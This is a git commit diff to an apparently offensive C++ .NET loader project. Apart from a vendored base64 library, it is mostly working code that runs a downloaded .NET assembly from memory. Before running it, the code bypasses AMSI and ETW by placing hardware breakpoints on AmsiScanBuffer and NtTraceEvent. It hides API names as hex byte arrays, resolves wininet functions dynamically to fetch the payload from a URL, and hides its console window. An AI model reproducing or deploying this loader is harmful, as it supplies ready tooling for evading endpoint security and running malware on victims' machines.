Huge Update

This commit is contained in:
racoten
2025-07-10 20:41:50 -07:00
parent ec3356aee0
commit b70781f097
17 changed files with 1324 additions and 366 deletions
+12
View File
@@ -0,0 +1,12 @@
*.obj
*.pdb
*.exe
*.log
*.tlog
*.idb
*.ilk
*.recipe
*.iobj
*.ipdb
*.ini
*.txt
+260
View File
@@ -0,0 +1,260 @@
/*
base64.cpp and base64.h
base64 encoding and decoding with C++.
More information at
https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
Version: 2.rc.09 (release candidate)
Copyright (C) 2004-2017, 2020-2022 René Nyffenegger
This source code is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this source code must not be misrepresented; you must not
claim that you wrote the original source code. If you use this source code
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original source code.
3. This notice may not be removed or altered from any source distribution.
René Nyffenegger rene.nyffenegger@adp-gmbh.ch
*/
#include "base64.h"
#include <algorithm>
#include <stdexcept>
//
// Depending on the url parameter in base64_chars, one of
// two sets of base64 characters needs to be chosen.
// They differ in their last two characters.
//
static const char* base64_chars[2] = {
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"+/",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"-_" };
static unsigned int pos_of_char(const unsigned char chr) {
//
// Return the position of chr within base64_encode()
//
if (chr >= 'A' && chr <= 'Z') return chr - 'A';
else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters (
else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_'
else
//
// 2020-10-23: Throw std::exception rather than const char*
//(Pablo Martin-Gomez, https://github.com/Bouska)
//
throw std::runtime_error("Input is not valid base64-encoded data.");
}
static std::string insert_linebreaks(std::string str, size_t distance) {
//
// Provided by https://github.com/JomaCorpFX, adapted by me.
//
if (!str.length()) {
return "";
}
size_t pos = distance;
while (pos < str.size()) {
str.insert(pos, "\n");
pos += distance + 1;
}
return str;
}
template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s) {
return insert_linebreaks(base64_encode(s, false), line_length);
}
template <typename String>
static std::string encode_pem(String s) {
return encode_with_line_breaks<String, 64>(s);
}
template <typename String>
static std::string encode_mime(String s) {
return encode_with_line_breaks<String, 76>(s);
}
template <typename String>
static std::string encode(String s, bool url) {
return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}
std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) {
size_t len_encoded = (in_len + 2) / 3 * 4;
unsigned char trailing_char = url ? '.' : '=';
//
// Choose set of base64 characters. They differ
// for the last two positions, depending on the url
// parameter.
// A bool (as is the parameter url) is guaranteed
// to evaluate to either 0 or 1 in C++ therefore,
// the correct character set is chosen by subscripting
// base64_chars with url.
//
const char* base64_chars_ = base64_chars[url];
std::string ret;
ret.reserve(len_encoded);
unsigned int pos = 0;
while (pos < in_len) {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);
if (pos + 1 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);
if (pos + 2 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]);
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]);
ret.push_back(trailing_char);
}
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]);
ret.push_back(trailing_char);
ret.push_back(trailing_char);
}
pos += 3;
}
return ret;
}
template <typename String>
static std::string decode(String const& encoded_string, bool remove_linebreaks) {
if (encoded_string.empty()) return std::string();
if (remove_linebreaks) {
std::string copy(encoded_string);
copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());
return base64_decode(copy, false);
}
size_t length_of_string = encoded_string.length();
size_t pos = 0;
size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
std::string ret;
ret.reserve(approx_length_of_decoded_string);
while (pos < length_of_string) {
size_t pos_of_char_1 = pos_of_char(encoded_string.at(pos + 1));
//
// Emit the first output byte that is produced in each chunk:
//
ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string.at(pos + 0))) << 2) + ((pos_of_char_1 & 0x30) >> 4)));
if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045)
encoded_string.at(pos + 2) != '=' &&
encoded_string.at(pos + 2) != '.' // accept URL-safe base 64 strings, too, so check for '.' also.
)
{
//
// Emit a chunk's second byte (which might not be produced in the last chunk).
//
unsigned int pos_of_char_2 = pos_of_char(encoded_string.at(pos + 2));
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2)));
if ((pos + 3 < length_of_string) &&
encoded_string.at(pos + 3) != '=' &&
encoded_string.at(pos + 3) != '.'
)
{
//
// Emit a chunk's third byte (which might not be produced in the last chunk).
//
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string.at(pos + 3))));
}
}
pos += 4;
}
return ret;
}
std::string base64_decode(std::string const& s, bool remove_linebreaks) {
return decode(s, remove_linebreaks);
}
std::string base64_encode(std::string const& s, bool url) {
return encode(s, url);
}
std::string base64_encode_pem(std::string const& s) {
return encode_pem(s);
}
std::string base64_encode_mime(std::string const& s) {
return encode_mime(s);
}
#if __cplusplus >= 201703L
//
// Interface with std::string_view rather than const std::string&
// Requires C++17
// Provided by Yannic Bonenberger (https://github.com/Yannic)
//
std::string base64_encode(std::string_view s, bool url) {
return encode(s, url);
}
std::string base64_encode_pem(std::string_view s) {
return encode_pem(s);
}
std::string base64_encode_mime(std::string_view s) {
return encode_mime(s);
}
std::string base64_decode(std::string_view s, bool remove_linebreaks) {
return decode(s, remove_linebreaks);
}
#endif // __cplusplus >= 201703L
+37
View File
@@ -0,0 +1,37 @@
#pragma once
//
// base64 encoding and decoding with C++.
// Version: 2.rc.09 (release candidate)
//
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
#define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
#include <string>
#if __cplusplus >= 201703L
#include <string_view>
#endif // __cplusplus >= 201703L
std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);
std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);
#if __cplusplus >= 201703L
//
// Interface with std::string_view rather than const std::string&
// Requires C++17
// Provided by Yannic Bonenberger (https://github.com/Yannic)
//
std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);
std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif // __cplusplus >= 201703L
#endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */
+136 -259
View File
@@ -1,288 +1,165 @@
#include <Windows.h>
#include <metahost.h>
#include <stdio.h>
#include <cstdio>
#include <ntstatus.h>
#include <wininet.h>
#include "HwBpEngine.h"
#include "winternal.h"
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "wininet.lib")
#define PIPE_BUFFER_LENGTH 0x10000 * 5
#define PIPE_BUFFER_LENGTH (0x10000 * 5)
namespace mscorlib {
#include "mscorlib.h"
}
static const char s_amsi_dll[] = { 0x61,0x6D,0x73,0x69,0x2E,0x64,0x6C,0x6C,0x00 };
static const char s_amsi_scan_buffer[] = { 0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00 };
static const char s_ntdll_dll[] = { 0x6E,0x74,0x64,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00 };
static const char s_nt_trace_event[] = { 0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00 };
static const WCHAR s_clr_v4[] = {
0x0076,0x0034,0x002E,0x0030,0x002E,0x0033,0x0030,0x0033,0x0031,0x0039,0x0000
};
BOOL ReadFileFromURLA(
IN LPCSTR url,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
) {
HINTERNET hInternet = NULL, hConnect = NULL;
PBYTE pBaseAddress = NULL;
DWORD dwFileSize = 0, dwBytesRead = 0, totalBytesRead = 0;
if (!url || !ppFileBuffer || !pdwFileSize) {
printf("[-] Invalid parameters passed to ReadFileFromURLA.\n");
return FALSE;
}
hInternet = InternetOpenA("FileDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("[-] InternetOpenA failed with error: %lu\n", GetLastError());
return FALSE;
}
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hConnect) {
printf("[-] InternetOpenUrlA failed for URL: %s, Error: %lu\n", url, GetLastError());
InternetCloseHandle(hInternet);
return FALSE;
}
pBaseAddress = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024); // Start with 1MB buffer
if (!pBaseAddress) {
printf("[-] HeapAlloc failed. Error: %lu\n", GetLastError());
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
do {
if (totalBytesRead + 1024 > dwFileSize) {
dwFileSize = (dwFileSize + 1024) * 2;
PBYTE newBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize);
if (!newBuffer) {
printf("[-] HeapReAlloc failed. Error: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, pBaseAddress);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
pBaseAddress = newBuffer;
}
if (!InternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead)) {
printf("[-] InternetReadFile failed. Error: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, pBaseAddress);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
totalBytesRead += dwBytesRead;
} while (dwBytesRead > 0);
*pdwFileSize = totalBytesRead;
*ppFileBuffer = pBaseAddress;
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return TRUE;
}
static const WCHAR s_clr_v2[] = {
0x0076,0x0032,0x002E,0x0030,0x002E,0x0035,0x0030,0x0037,0x0032,0x0037,0x0000
};
HRESULT DotnetExecute(
_In_ PBYTE AssemblyBytes,
_In_ ULONG AssemblySize,
_In_ PWSTR AppDomainName,
_In_ PWSTR Arguments,
_Out_ LPSTR* OutputBuffer,
_Out_ PULONG OutputLength
) {
HRESULT HResult = {};
ICLRMetaHost* IMetaHost = {};
ICLRRuntimeInfo* IRuntimeInfo = {};
ICorRuntimeHost* IRuntimeHost = {};
IUnknown* IAppDomainThunk = {};
mscorlib::_AppDomain* AppDomain = {};
mscorlib::_Assembly* Assembly = {};
mscorlib::_MethodInfo* MethodInfo = {};
SAFEARRAYBOUND SafeArrayBound = {};
SAFEARRAY* SafeAssembly = {};
SAFEARRAY* SafeExpected = {};
SAFEARRAY* SafeArguments = {};
PWSTR* AssemblyArgv = {};
ULONG AssemblyArgc = {};
LONG Index = {};
VARIANT VariantArgv = {};
BOOL IsLoadable = {};
HWND ConExist = {};
HWND ConHandle = {};
HANDLE BackupHandle = {};
HANDLE IoPipeRead = {};
HANDLE IoPipeWrite = {};
SECURITY_ATTRIBUTES SecurityAttr = {};
HANDLE ExceptionHandle = {};
_In_ PBYTE AssemblyBytes,
_In_ ULONG AssemblySize,
_In_ PWSTR AppDomainName,
_In_ PWSTR Arguments,
_Out_ LPSTR* OutputBuffer,
_Out_ PULONG OutputLength
)
{
HRESULT HResult = S_OK;
ICLRMetaHost* IMetaHost = nullptr;
ICLRRuntimeInfo* IRuntimeInfo = nullptr;
ICorRuntimeHost* IRuntimeHost = nullptr;
IUnknown* IAppDomainThunk = nullptr;
mscorlib::_AppDomain* AppDomain = nullptr;
mscorlib::_Assembly* Assembly = nullptr;
mscorlib::_MethodInfo* MethodInfo = nullptr;
SAFEARRAYBOUND SafeArrayBound = { AssemblySize, 0 };
SAFEARRAY* SafeAssembly = nullptr;
SAFEARRAY* SafeExpected = nullptr;
SAFEARRAY* SafeArguments = nullptr;
PWSTR* AssemblyArgv = nullptr;
ULONG AssemblyArgc = 0;
LONG Index = 0;
VARIANT VariantArgv = {};
BOOL IsLoadable = FALSE;
HWND ConExist = nullptr;
HWND ConHandle = nullptr;
HANDLE BackupHandle = nullptr;
HANDLE IoPipeRead = nullptr;
HANDLE IoPipeWrite = nullptr;
SECURITY_ATTRIBUTES SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE };
HANDLE ExceptionHandle = nullptr;
//
// create the CLR instance
//
if ((HResult = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&IMetaHost)))) {
printf("[-] CLRCreateInstance Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
// Create the CLR instance.
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&IMetaHost));
if ((HResult = IMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&IRuntimeInfo)))) {
printf("[-] IMetaHost->GetRuntime Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
// Try multiple CLR versions.
const wchar_t* clrVersions[] = { s_clr_v4, s_clr_v2 };
int clrVersionCount = static_cast<int>(sizeof(clrVersions) / sizeof(clrVersions[0]));
for (int i = 0; i < clrVersionCount; i++) {
IMetaHost->GetRuntime(clrVersions[i], IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&IRuntimeInfo));
if (IRuntimeInfo)
break;
}
if ((HResult = IRuntimeInfo->IsLoadable(&IsLoadable)) || !IsLoadable) {
printf("[-] IRuntimeInfo->IsLoadable Failed with Error: %lx (IsLoadable: %s)\n", HResult, IsLoadable ? "true" : "false");
goto _END_OF_FUNC;
}
IRuntimeInfo->IsLoadable(&IsLoadable);
IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&IRuntimeHost));
IRuntimeHost->Start();
IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk);
IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain));
if ((HResult = IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&IRuntimeHost)))) {
printf("[-] IRuntimeInfo->GetInterface Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound);
memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize);
if ((HResult = IRuntimeHost->Start())) {
printf("[-] IRuntimeHost->Start Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
// Replace standard GetProcAddress calls with our custom replacements from winternal.h.
SetUniqueHardwareBreakpoint(0, reinterpret_cast<LPVOID>(
GetProcAddressReplacement(LoadLibraryA(s_amsi_dll), s_amsi_scan_buffer)
));
SetUniqueHardwareBreakpoint(1, reinterpret_cast<LPVOID>(
GetProcAddressReplacement(LoadLibraryA(s_ntdll_dll), s_nt_trace_event)
));
ExceptionHandle = AddVectoredExceptionHandler(TRUE, reinterpret_cast<PVECTORED_EXCEPTION_HANDLER>(HandleUniqueHwbpException));
if ((HResult = IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk))) {
printf("[-] IRuntimeHost->CreateDomain Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
AppDomain->Load_3(SafeAssembly, &Assembly);
Assembly->get_EntryPoint(&MethodInfo);
MethodInfo->GetParameters(&SafeExpected);
if ((HResult = IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)))) {
printf("[-] IAppDomainThunk->QueryInterface Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
if (SafeExpected && SafeExpected->cDims && SafeExpected->rgsabound[0].cElements)
{
SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (wcslen(Arguments))
AssemblyArgv = CommandLineToArgvW(Arguments, reinterpret_cast<PINT>(&AssemblyArgc));
VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc);
VariantArgv.vt = (VT_ARRAY | VT_BSTR);
for (Index = 0; Index < static_cast<LONG>(AssemblyArgc); Index++)
SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index]));
Index = 0;
SafeArrayPutElement(SafeArguments, &Index, &VariantArgv);
SafeArrayDestroy(VariantArgv.parray);
}
SafeArrayBound = { AssemblySize, 0 };
SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound);
CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH);
ConExist = GetConsoleWindow();
if (!ConExist)
{
AllocConsole();
ConHandle = GetConsoleWindow();
if (ConHandle)
ShowWindow(ConHandle, SW_HIDE);
}
BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE);
SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite);
memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize);
MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr);
HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer"));
HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent"));
if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) {
printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError());
goto _END_OF_FUNC;
}
*OutputBuffer = static_cast<LPSTR>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH));
ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr);
if ((HResult = AppDomain->Load_3(SafeAssembly, &Assembly))) {
printf("[-] AppDomain->Load_3 Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
// Cleanup block at the end of the function.
SetUniqueHardwareBreakpoint(0, nullptr);
SetUniqueHardwareBreakpoint(1, nullptr);
if (ExceptionHandle)
RemoveVectoredExceptionHandler(ExceptionHandle);
if (BackupHandle)
SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle);
if (IoPipeRead)
CloseHandle(IoPipeRead);
if (IoPipeWrite)
CloseHandle(IoPipeWrite);
if (AssemblyArgv)
{
HeapFree(GetProcessHeap(), 0, AssemblyArgv);
AssemblyArgv = nullptr;
}
if (SafeAssembly)
{
SafeArrayDestroy(SafeAssembly);
SafeAssembly = nullptr;
}
if (SafeArguments)
{
SafeArrayDestroy(SafeArguments);
SafeArguments = nullptr;
}
if (MethodInfo)
MethodInfo->Release();
if (IRuntimeHost)
IRuntimeHost->Release();
if (IRuntimeInfo)
IRuntimeInfo->Release();
if (IMetaHost)
IMetaHost->Release();
if ((HResult = Assembly->get_EntryPoint(&MethodInfo))) {
printf("[-] Assembly->get_EntryPoint Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
if ((HResult = MethodInfo->GetParameters(&SafeExpected))) {
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
if (SafeExpected) {
if (SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) {
SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (wcslen(Arguments)) {
AssemblyArgv = CommandLineToArgvW(Arguments, (PINT)&AssemblyArgc);
}
VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc);
VariantArgv.vt = (VT_ARRAY | VT_BSTR);
for (Index = 0; Index < AssemblyArgc; Index++) {
SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index]));
}
Index = 0;
SafeArrayPutElement(SafeArguments, &Index, &VariantArgv);
SafeArrayDestroy(VariantArgv.parray);
}
}
SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE };
if (!(CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH))) {
printf("[-] CreatePipe Failed with Error: %lx\n", GetLastError());
HResult = GetLastError();
goto _END_OF_FUNC;
}
if (!(ConExist = GetConsoleWindow())) {
AllocConsole();
if ((ConHandle = GetConsoleWindow())) {
ShowWindow(ConHandle, SW_HIDE);
}
}
BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE);
SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite);
if ((HResult = MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr))) {
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
goto _END_OF_FUNC;
}
if ((*OutputBuffer = static_cast<LPSTR>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)))) {
if (!ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr)) {
printf("[-] ReadFile Failed with Error: %lx\n", GetLastError());
goto _END_OF_FUNC;
}
}
else {
HResult = ERROR_NOT_ENOUGH_MEMORY;
}
_END_OF_FUNC:
HwbpEngineBreakpoint(0, nullptr);
HwbpEngineBreakpoint(1, nullptr);
RemoveVectoredExceptionHandler(ExceptionHandle);
if (BackupHandle) {
SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle);
}
if (IoPipeRead) {
CloseHandle(IoPipeRead);
}
if (IoPipeWrite) {
CloseHandle(IoPipeWrite);
}
if (AssemblyArgv) {
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AssemblyArgv);
AssemblyArgv = nullptr;
}
if (SafeAssembly) {
SafeArrayDestroy(SafeAssembly);
SafeAssembly = nullptr;
}
if (SafeArguments) {
SafeArrayDestroy(SafeArguments);
SafeArguments = nullptr;
}
if (MethodInfo) {
MethodInfo->Release();
}
if (IRuntimeHost) {
IRuntimeHost->Release();
}
if (IRuntimeInfo) {
IRuntimeInfo->Release();
}
if (IMetaHost) {
IMetaHost->Release();
}
return HResult;
}
return HResult;
}
+10
View File
@@ -128,14 +128,24 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Base64.cpp" />
<ClCompile Include="BetterNetLoader.cpp" />
<ClCompile Include="Http.cpp" />
<ClCompile Include="HwBpEngine.cpp" />
<ClCompile Include="LoadLibrary.cpp" />
<ClCompile Include="LocalFileReaderA.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="winternal.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Base64.h" />
<ClInclude Include="DotnetExecute.h" />
<ClInclude Include="Http.h" />
<ClInclude Include="HwBpEngine.h" />
<ClInclude Include="LoadLibrary.h" />
<ClInclude Include="LocalFileReaderA.h" />
<ClInclude Include="mscorlib.h" />
<ClInclude Include="winternal.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
@@ -10,6 +10,21 @@
<ClCompile Include="BetterNetLoader.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="Http.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="Base64.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="LocalFileReaderA.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="winternal.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="LoadLibrary.cpp">
<Filter>Source</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mscorlib.h">
@@ -21,6 +36,21 @@
<ClInclude Include="DotnetExecute.h">
<Filter>Header</Filter>
</ClInclude>
<ClInclude Include="Http.h">
<Filter>Header</Filter>
</ClInclude>
<ClInclude Include="Base64.h">
<Filter>Header</Filter>
</ClInclude>
<ClInclude Include="LocalFileReaderA.h">
<Filter>Header</Filter>
</ClInclude>
<ClInclude Include="winternal.h">
<Filter>Header</Filter>
</ClInclude>
<ClInclude Include="LoadLibrary.h">
<Filter>Header</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="Source">
+98
View File
@@ -0,0 +1,98 @@
#include <Windows.h>
#include <wininet.h>
#include "winternal.h" // Contains GetProcAddressReplacement, etc.
//
// Static narrow string definitions (all in hex)
//
static const char s_wininet_dll[] = { 0x77,0x69,0x6E,0x69,0x6E,0x65,0x74,0x2E,0x64,0x6C,0x6C,0x00 }; // "wininet.dll"
static const char s_InternetOpenA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x41,0x00 }; // "InternetOpenA"
static const char s_InternetOpenUrlA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x55,0x72,0x6C,0x41,0x00 }; // "InternetOpenUrlA"
static const char s_InternetReadFile[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x00 }; // "InternetReadFile"
static const char s_InternetCloseHandle[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x43,0x6C,0x6F,0x73,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00 }; // "InternetCloseHandle"
static const char s_FileDownloader[] = { 0x46,0x69,0x6C,0x65,0x44,0x6F,0x77,0x6E,0x6C,0x6F,0x61,0x64,0x65,0x72,0x00 }; // "FileDownloader"
//
// Define function pointer types for wininet functions.
//
typedef HINTERNET(WINAPI* pfnInternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
typedef HINTERNET(WINAPI* pfnInternetOpenUrlA)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
typedef BOOL(WINAPI* pfnInternetReadFile)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL(WINAPI* pfnInternetCloseHandle)(HINTERNET);
//
// ReadFileFromURLA dynamically loads all required wininet functions.
//
BOOL ReadFileFromURLA(
IN LPCSTR url,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
)
{
// Load wininet.dll dynamically.
HMODULE hWininet = LoadLibraryA(s_wininet_dll);
if (!hWininet)
return FALSE;
// Get function pointers via our replacement.
pfnInternetOpenA fnInternetOpenA = (pfnInternetOpenA)GetProcAddressReplacement(hWininet, s_InternetOpenA);
pfnInternetOpenUrlA fnInternetOpenUrlA = (pfnInternetOpenUrlA)GetProcAddressReplacement(hWininet, s_InternetOpenUrlA);
pfnInternetReadFile fnInternetReadFile = (pfnInternetReadFile)GetProcAddressReplacement(hWininet, s_InternetReadFile);
pfnInternetCloseHandle fnInternetCloseHandle = (pfnInternetCloseHandle)GetProcAddressReplacement(hWininet, s_InternetCloseHandle);
if (!fnInternetOpenA || !fnInternetOpenUrlA || !fnInternetReadFile || !fnInternetCloseHandle)
{
FreeLibrary(hWininet);
return FALSE;
}
// Open an internet session.
HINTERNET hInternet = fnInternetOpenA(s_FileDownloader, INTERNET_OPEN_TYPE_DIRECT, nullptr, nullptr, 0);
if (!hInternet)
{
FreeLibrary(hWininet);
return FALSE;
}
// Open the URL.
HINTERNET hConnect = fnInternetOpenUrlA(hInternet, url, nullptr, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hConnect)
{
fnInternetCloseHandle(hInternet);
FreeLibrary(hWininet);
return FALSE;
}
// Allocate an initial buffer (1MB).
DWORD dwFileSize = 1024 * 1024;
PBYTE pBaseAddress = reinterpret_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize));
if (!pBaseAddress)
{
fnInternetCloseHandle(hConnect);
fnInternetCloseHandle(hInternet);
FreeLibrary(hWininet);
return FALSE;
}
DWORD dwBytesRead = 0, totalBytesRead = 0;
do {
// Expand buffer if needed.
if (totalBytesRead + 1024 > dwFileSize)
{
dwFileSize = (dwFileSize + 1024) * 2;
pBaseAddress = reinterpret_cast<PBYTE>(HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize));
}
fnInternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead);
totalBytesRead += dwBytesRead;
} while (dwBytesRead > 0);
*pdwFileSize = totalBytesRead;
*ppFileBuffer = pBaseAddress;
// Clean up.
fnInternetCloseHandle(hConnect);
fnInternetCloseHandle(hInternet);
FreeLibrary(hWininet);
return TRUE;
}
+9
View File
@@ -0,0 +1,9 @@
#pragma once
#include <Windows.h>
